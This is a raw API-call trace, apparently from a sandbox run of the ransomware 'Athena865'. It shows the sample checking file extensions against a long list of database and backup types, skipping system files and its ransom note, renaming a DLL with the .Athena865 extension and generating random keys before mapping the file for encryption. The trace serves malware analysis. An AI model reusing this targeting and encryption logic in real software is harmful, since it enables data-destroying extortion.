[0047.914] lstrlenW (lpString="ddl") returned 3 [0047.914] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0047.914] lstrlenW (lpString="dlis") returned 4 [0047.914] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0047.914] lstrlenW (lpString="dp1") returned 3 [0047.914] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0047.914] lstrlenW (lpString="dqy") returned 3 [0047.914] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0047.914] lstrlenW (lpString="dsk") returned 3 [0047.914] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0047.914] lstrlenW (lpString="dsn") returned 3 [0047.914] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0047.914] lstrlenW (lpString="dtsx") returned 4 [0047.914] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0047.914] lstrlenW (lpString="dxl") returned 3 [0047.914] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0047.914] lstrlenW (lpString="eco") returned 3 [0047.914] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0047.914] lstrlenW (lpString="ecx") returned 3 [0047.914] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0047.914] lstrlenW (lpString="edb") returned 3 [0047.915] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0047.915] lstrlenW (lpString="epim") returned 4 [0047.915] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0047.915] lstrlenW (lpString="fcd") returned 3 [0047.915] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0047.915] lstrlenW (lpString="fdb") returned 3 [0047.915] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0047.915] lstrlenW (lpString="fic") returned 3 [0047.915] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0047.915] lstrlenW (lpString="flexolibrary") returned 12 [0047.915] lstrlenW (lpString="fm5") returned 3 [0047.915] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0047.915] lstrlenW (lpString="fmp") returned 3 [0047.915] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0047.915] lstrlenW (lpString="fmp12") returned 5 [0047.915] lstrcmpiW (lpString1="q.dll", lpString2="fmp12") returned 1 [0047.915] lstrlenW (lpString="fmpsl") returned 5 [0047.915] lstrcmpiW (lpString1="q.dll", lpString2="fmpsl") returned 1 [0047.915] lstrlenW (lpString="fol") returned 3 [0047.915] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0047.915] lstrlenW (lpString="fp3") returned 3 [0047.915] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0047.915] lstrlenW (lpString="fp4") returned 3 [0047.915] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0047.915] lstrlenW (lpString="fp5") returned 3 [0047.915] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0047.915] lstrlenW (lpString="fp7") returned 3 [0047.915] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0047.915] lstrlenW (lpString="fpt") returned 3 [0047.915] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0047.915] lstrlenW (lpString="frm") returned 3 [0047.915] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0047.915] lstrlenW (lpString="gdb") returned 3 [0047.915] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0047.915] lstrlenW (lpString="gdb") returned 3 [0047.915] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0047.916] lstrlenW (lpString="grdb") returned 4 [0047.916] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0047.916] lstrlenW (lpString="gwi") returned 3 [0047.916] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0047.916] lstrlenW (lpString="hdb") returned 3 [0047.916] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0047.916] lstrlenW (lpString="his") returned 3 [0047.916] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0047.916] lstrlenW (lpString="ib") returned 2 [0047.916] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0047.916] lstrlenW (lpString="idb") returned 3 [0047.916] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0047.916] lstrlenW (lpString="ihx") returned 3 [0047.916] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0047.916] lstrlenW (lpString="itdb") returned 4 [0047.916] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0047.916] lstrlenW (lpString="itw") returned 3 [0047.916] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0047.916] lstrlenW (lpString="jet") returned 3 [0047.916] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0047.916] lstrlenW (lpString="jtx") returned 3 [0047.916] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0047.916] lstrlenW (lpString="kdb") returned 3 [0047.916] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0047.916] lstrlenW (lpString="kexi") returned 4 [0047.916] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0047.916] lstrlenW (lpString="kexic") returned 5 [0047.916] lstrcmpiW (lpString1="q.dll", lpString2="kexic") returned 1 [0047.916] lstrlenW (lpString="kexis") returned 5 [0047.916] lstrcmpiW (lpString1="q.dll", lpString2="kexis") returned 1 [0047.916] lstrlenW (lpString="lgc") returned 3 [0047.916] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0047.916] lstrlenW (lpString="lwx") returned 3 [0047.916] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0047.916] lstrlenW (lpString="maf") returned 3 [0047.916] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0047.916] lstrlenW (lpString="maq") returned 3 [0047.917] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0047.917] lstrlenW (lpString="mar") returned 3 [0047.917] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0047.917] lstrlenW (lpString="marshal") returned 7 [0047.917] lstrcmpiW (lpString1="Acq.dll", lpString2="marshal") returned -1 [0047.917] lstrlenW (lpString="mas") returned 3 [0047.917] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0047.917] lstrlenW (lpString="mav") returned 3 [0047.917] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0047.917] lstrlenW (lpString="maw") returned 3 [0047.917] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0047.917] lstrlenW (lpString="mdbhtml") returned 7 [0047.917] lstrcmpiW (lpString1="Acq.dll", lpString2="mdbhtml") returned -1 [0047.917] lstrlenW (lpString="mdn") returned 3 [0047.917] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0047.917] lstrlenW (lpString="mdt") returned 3 [0047.917] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0047.917] lstrlenW (lpString="mfd") returned 3 [0047.917] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0047.917] lstrlenW (lpString="mpd") returned 3 [0047.917] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0047.917] lstrlenW (lpString="mrg") returned 3 [0047.917] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0047.917] lstrlenW (lpString="mud") returned 3 [0047.917] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0047.917] lstrlenW (lpString="mwb") returned 3 [0047.917] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0047.917] lstrlenW (lpString="myd") returned 3 [0047.917] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0047.917] lstrlenW (lpString="ndf") returned 3 [0047.917] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0047.917] lstrlenW (lpString="nnt") returned 3 [0047.917] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0047.917] lstrlenW (lpString="nrmlib") returned 6 [0047.917] lstrcmpiW (lpString1="cq.dll", lpString2="nrmlib") returned -1 [0047.917] lstrlenW (lpString="ns2") returned 3 [0047.917] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0047.918] lstrlenW (lpString="ns3") returned 3 [0047.918] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0047.918] lstrlenW (lpString="ns4") returned 3 [0047.918] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0047.918] lstrlenW (lpString="nsf") returned 3 [0047.918] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0047.918] lstrlenW (lpString="nv") returned 2 [0047.918] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0047.918] lstrlenW (lpString="nv2") returned 3 [0047.918] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0047.918] lstrlenW (lpString="nwdb") returned 4 [0047.918] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0047.918] lstrlenW (lpString="nyf") returned 3 [0047.918] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0047.918] lstrlenW (lpString="odb") returned 3 [0047.918] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0047.918] lstrlenW (lpString="odb") returned 3 [0047.918] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0047.918] lstrlenW (lpString="oqy") returned 3 [0047.918] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0047.918] lstrlenW (lpString="ora") returned 3 [0047.918] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0047.918] lstrlenW (lpString="orx") returned 3 [0047.918] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0047.918] lstrlenW (lpString="owc") returned 3 [0047.918] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0047.918] lstrlenW (lpString="p96") returned 3 [0047.918] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0047.918] lstrlenW (lpString="p97") returned 3 [0047.918] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0047.918] lstrlenW (lpString="pan") returned 3 [0047.918] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0047.918] lstrlenW (lpString="pdb") returned 3 [0047.918] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0047.918] lstrlenW (lpString="pdm") returned 3 [0047.918] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0047.918] lstrlenW (lpString="pnz") returned 3 [0047.919] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0047.919] lstrlenW (lpString="qry") returned 3 [0047.919] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0047.919] lstrlenW (lpString="qvd") returned 3 [0047.919] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0047.919] lstrlenW (lpString="rbf") returned 3 [0047.919] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0047.919] lstrlenW (lpString="rctd") returned 4 [0047.919] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0047.919] lstrlenW (lpString="rod") returned 3 [0047.919] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0047.919] lstrlenW (lpString="rodx") returned 4 [0047.919] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0047.919] lstrlenW (lpString="rpd") returned 3 [0047.919] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0047.919] lstrlenW (lpString="rsd") returned 3 [0047.919] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0047.919] lstrlenW (lpString="sas7bdat") returned 8 [0047.919] lstrcmpiW (lpString1="oAcq.dll", lpString2="sas7bdat") returned -1 [0047.919] lstrlenW (lpString="sbf") returned 3 [0047.919] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0047.919] lstrlenW (lpString="scx") returned 3 [0047.919] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0047.919] lstrlenW (lpString="sdb") returned 3 [0047.919] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0047.919] lstrlenW (lpString="sdc") returned 3 [0047.919] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0047.919] lstrlenW (lpString="sdf") returned 3 [0047.919] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0047.919] lstrlenW (lpString="sis") returned 3 [0047.919] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0047.919] lstrlenW (lpString="spq") returned 3 [0047.919] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0047.919] lstrlenW (lpString="te") returned 2 [0047.919] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0047.919] lstrlenW (lpString="teacher") returned 7 [0047.919] lstrcmpiW (lpString1="Acq.dll", lpString2="teacher") returned -1 [0047.920] lstrlenW (lpString="tmd") returned 3 [0047.920] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0047.920] lstrlenW (lpString="tps") returned 3 [0047.920] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0047.920] lstrlenW (lpString="trc") returned 3 [0047.920] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0047.920] lstrlenW (lpString="trc") returned 3 [0047.920] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0047.920] lstrlenW (lpString="trm") returned 3 [0047.920] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0047.920] lstrlenW (lpString="udb") returned 3 [0047.920] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0047.920] lstrlenW (lpString="udl") returned 3 [0047.920] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0047.920] lstrlenW (lpString="usr") returned 3 [0047.920] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0047.920] lstrlenW (lpString="v12") returned 3 [0047.920] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0047.920] lstrlenW (lpString="vis") returned 3 [0047.920] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0047.920] lstrlenW (lpString="vpd") returned 3 [0047.920] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0047.920] lstrlenW (lpString="vvv") returned 3 [0047.920] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0047.920] lstrlenW (lpString="wdb") returned 3 [0047.920] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0047.920] lstrlenW (lpString="wmdb") returned 4 [0047.920] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0047.920] lstrlenW (lpString="wrk") returned 3 [0047.920] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0047.920] lstrlenW (lpString="xdb") returned 3 [0047.920] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0047.920] lstrlenW (lpString="xld") returned 3 [0047.920] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0047.920] lstrlenW (lpString="xmlff") returned 5 [0047.920] lstrcmpiW (lpString1="q.dll", lpString2="xmlff") returned -1 [0047.920] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll.Athena865") returned 66 [0047.921] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll" (normalized: "c:\\program files (x86)\\windows photo viewer\\photoacq.dll"), lpNewFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll.Athena865" (normalized: "c:\\program files (x86)\\windows photo viewer\\photoacq.dll.athena865"), dwFlags=0x1) returned 1 [0047.921] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll.Athena865" (normalized: "c:\\program files (x86)\\windows photo viewer\\photoacq.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0047.921] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=917504) returned 1 [0047.921] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0047.922] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0047.922] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0047.922] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0047.923] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0047.923] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0047.923] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe0300, lpName=0x0) returned 0x154 [0047.925] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe0300) returned 0x2d50000 [0047.984] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0047.985] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0047.985] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0047.985] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0047.985] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0047.985] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528208 [0047.985] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0047.985] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528208 | out: hHeap=0x4f0000) returned 1 [0047.985] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0047.985] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x523fa0 [0047.985] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0047.985] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x523fa0 | out: hHeap=0x4f0000) returned 1 [0047.985] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0047.985] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0047.995] CloseHandle (hObject=0x154) returned 1 [0047.995] CloseHandle (hObject=0x17c) returned 1 [0047.995] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0047.995] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0047.995] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0047.999] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78b02653, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x78b02653, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xad33fb10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PhotoBase.dll", cAlternateFileName="")) returned 1 [0047.999] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0047.999] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0047.999] lstrcmpiW (lpString1="PhotoBase.dll", lpString2=".") returned 1 [0047.999] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="..") returned 1 [0047.999] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="windows") returned -1 [0047.999] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="bootmgr") returned 1 [0047.999] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="temp") returned -1 [0047.999] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="pagefile.sys") returned 1 [0047.999] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="boot") returned 1 [0047.999] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="ids.txt") returned 1 [0047.999] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="ntuser.dat") returned 1 [0047.999] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="perflogs") returned 1 [0047.999] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="MSBuild") returned 1 [0047.999] lstrlenW (lpString="PhotoBase.dll") returned 13 [0047.999] lstrcpyW (in: lpString1=0x241e8a0, lpString2="PhotoBase.dll" | out: lpString1="PhotoBase.dll") returned="PhotoBase.dll" [0047.999] lstrlenW (lpString="PhotoBase.dll") returned 13 [0047.999] lstrlenW (lpString="Athena865") returned 9 [0047.999] lstrcmpiW (lpString1="oBase.dll", lpString2="Athena865") returned 1 [0048.000] lstrlenW (lpString=".dll") returned 4 [0048.000] lstrcmpiW (lpString1="PhotoBase.dll", lpString2=".dll") returned 1 [0048.000] lstrlenW (lpString=".lnk") returned 4 [0048.000] lstrcmpiW (lpString1="PhotoBase.dll", lpString2=".lnk") returned 1 [0048.000] lstrlenW (lpString=".ini") returned 4 [0048.000] lstrcmpiW (lpString1="PhotoBase.dll", lpString2=".ini") returned 1 [0048.000] lstrlenW (lpString=".sys") returned 4 [0048.000] lstrcmpiW (lpString1="PhotoBase.dll", lpString2=".sys") returned 1 [0048.000] lstrlenW (lpString="PhotoBase.dll") returned 13 [0048.000] lstrlenW (lpString="bak") returned 3 [0048.000] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0048.000] lstrlenW (lpString="ba_") returned 3 [0048.000] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0048.000] lstrlenW (lpString="dbb") returned 3 [0048.000] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0048.000] lstrlenW (lpString="vmdk") returned 4 [0048.000] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0048.000] lstrlenW (lpString="rar") returned 3 [0048.000] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0048.000] lstrlenW (lpString="zip") returned 3 [0048.000] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0048.000] lstrlenW (lpString="tgz") returned 3 [0048.000] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0048.000] lstrlenW (lpString="vbox") returned 4 [0048.000] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0048.000] lstrlenW (lpString="vdi") returned 3 [0048.000] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0048.000] lstrlenW (lpString="vhd") returned 3 [0048.000] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0048.000] lstrlenW (lpString="vhdx") returned 4 [0048.000] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0048.000] lstrlenW (lpString="avhd") returned 4 [0048.000] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0048.000] lstrlenW (lpString="db") returned 2 [0048.000] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0048.000] lstrlenW (lpString="db2") returned 3 [0048.000] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0048.001] lstrlenW (lpString="db3") returned 3 [0048.001] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0048.001] lstrlenW (lpString="dbf") returned 3 [0048.001] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0048.001] lstrlenW (lpString="mdf") returned 3 [0048.001] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0048.001] lstrlenW (lpString="mdb") returned 3 [0048.001] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0048.001] lstrlenW (lpString="sql") returned 3 [0048.001] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0048.001] lstrlenW (lpString="sqlite") returned 6 [0048.001] lstrcmpiW (lpString1="se.dll", lpString2="sqlite") returned -1 [0048.001] lstrlenW (lpString="sqlite3") returned 7 [0048.001] lstrcmpiW (lpString1="ase.dll", lpString2="sqlite3") returned -1 [0048.001] lstrlenW (lpString="sqlitedb") returned 8 [0048.001] lstrcmpiW (lpString1="Base.dll", lpString2="sqlitedb") returned -1 [0048.001] lstrlenW (lpString="xml") returned 3 [0048.001] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0048.001] lstrlenW (lpString="$er") returned 3 [0048.001] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0048.001] lstrlenW (lpString="4dd") returned 3 [0048.001] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0048.001] lstrlenW (lpString="4dl") returned 3 [0048.001] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0048.001] lstrlenW (lpString="^^^") returned 3 [0048.001] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0048.001] lstrlenW (lpString="abs") returned 3 [0048.001] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0048.001] lstrlenW (lpString="abx") returned 3 [0048.001] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0048.001] lstrlenW (lpString="accdb") returned 5 [0048.001] lstrcmpiW (lpString1="e.dll", lpString2="accdb") returned 1 [0048.001] lstrlenW (lpString="accdc") returned 5 [0048.001] lstrcmpiW (lpString1="e.dll", lpString2="accdc") returned 1 [0048.001] lstrlenW (lpString="accde") returned 5 [0048.001] lstrcmpiW (lpString1="e.dll", lpString2="accde") returned 1 [0048.001] lstrlenW (lpString="accdr") returned 5 [0048.002] lstrcmpiW (lpString1="e.dll", lpString2="accdr") returned 1 [0048.002] lstrlenW (lpString="accdt") returned 5 [0048.002] lstrcmpiW (lpString1="e.dll", lpString2="accdt") returned 1 [0048.002] lstrlenW (lpString="accdw") returned 5 [0048.002] lstrcmpiW (lpString1="e.dll", lpString2="accdw") returned 1 [0048.002] lstrlenW (lpString="accft") returned 5 [0048.002] lstrcmpiW (lpString1="e.dll", lpString2="accft") returned 1 [0048.002] lstrlenW (lpString="adb") returned 3 [0048.002] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0048.002] lstrlenW (lpString="adb") returned 3 [0048.002] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0048.002] lstrlenW (lpString="ade") returned 3 [0048.002] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0048.002] lstrlenW (lpString="adf") returned 3 [0048.002] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0048.002] lstrlenW (lpString="adn") returned 3 [0048.002] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0048.002] lstrlenW (lpString="adp") returned 3 [0048.002] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0048.002] lstrlenW (lpString="alf") returned 3 [0048.002] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0048.002] lstrlenW (lpString="ask") returned 3 [0048.002] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0048.002] lstrlenW (lpString="btr") returned 3 [0048.002] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0048.002] lstrlenW (lpString="cat") returned 3 [0048.002] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0048.002] lstrlenW (lpString="cdb") returned 3 [0048.002] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0048.002] lstrlenW (lpString="ckp") returned 3 [0048.002] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0048.002] lstrlenW (lpString="cma") returned 3 [0048.002] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0048.002] lstrlenW (lpString="cpd") returned 3 [0048.002] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0048.002] lstrlenW (lpString="dacpac") returned 6 [0048.002] lstrcmpiW (lpString1="se.dll", lpString2="dacpac") returned 1 [0048.002] lstrlenW (lpString="dad") returned 3 [0048.003] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0048.003] lstrlenW (lpString="dadiagrams") returned 10 [0048.003] lstrcmpiW (lpString1="toBase.dll", lpString2="dadiagrams") returned 1 [0048.003] lstrlenW (lpString="daschema") returned 8 [0048.003] lstrcmpiW (lpString1="Base.dll", lpString2="daschema") returned -1 [0048.003] lstrlenW (lpString="db-journal") returned 10 [0048.003] lstrcmpiW (lpString1="toBase.dll", lpString2="db-journal") returned 1 [0048.003] lstrlenW (lpString="db-shm") returned 6 [0048.003] lstrcmpiW (lpString1="se.dll", lpString2="db-shm") returned 1 [0048.003] lstrlenW (lpString="db-wal") returned 6 [0048.003] lstrcmpiW (lpString1="se.dll", lpString2="db-wal") returned 1 [0048.003] lstrlenW (lpString="dbc") returned 3 [0048.003] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0048.003] lstrlenW (lpString="dbs") returned 3 [0048.003] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 